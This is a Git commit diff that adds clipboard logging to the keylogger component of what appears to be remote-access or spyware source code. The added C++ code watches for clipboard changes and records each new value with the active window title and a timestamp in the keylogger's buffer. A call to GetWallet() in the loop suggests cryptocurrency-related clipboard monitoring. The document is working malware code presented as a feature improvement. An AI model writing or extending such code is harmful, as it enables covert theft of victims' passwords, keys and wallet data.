Improve: Keyboard logger supports logging clipboard changes
This commit is contained in:
@@ -506,6 +506,7 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
|||||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||||
|
std::string lastValue = {};
|
||||||
while (pThis->m_bIsWorking) {
|
while (pThis->m_bIsWorking) {
|
||||||
auto w = pThis->GetWallet();
|
auto w = pThis->GetWallet();
|
||||||
if (w.empty()) {
|
if (w.empty()) {
|
||||||
@@ -517,11 +518,31 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
|||||||
hasClipboard = clip::has(clip::text_format());
|
hasClipboard = clip::has(clip::text_format());
|
||||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||||
hasClipboard = false;
|
hasClipboard = false;
|
||||||
|
lastValue.clear();
|
||||||
Sleep(3000);
|
Sleep(3000);
|
||||||
}
|
}
|
||||||
if (hasClipboard) {
|
if (hasClipboard) {
|
||||||
std::string value;
|
std::string value;
|
||||||
clip::get_text(value);
|
clip::get_text(value);
|
||||||
|
std::string recordValue = value.substr(0, 4096);
|
||||||
|
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||||
|
lastValue = recordValue;
|
||||||
|
HWND foreground = GetForegroundWindow();
|
||||||
|
char window_title[MAX_PATH] = {};
|
||||||
|
wchar_t wTitle[MAX_PATH] = {};
|
||||||
|
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
|
||||||
|
}
|
||||||
|
SYSTEMTIME s;
|
||||||
|
GetLocalTime(&s);
|
||||||
|
char tm[64];
|
||||||
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
|
||||||
|
std::stringstream output;
|
||||||
|
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||||
|
std::string str = output.str();
|
||||||
|
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||||
|
}
|
||||||
if (value.length() > 200) {
|
if (value.length() > 200) {
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
continue;
|
continue;
|
||||||
|
|||||||
Reference in New Issue
Block a user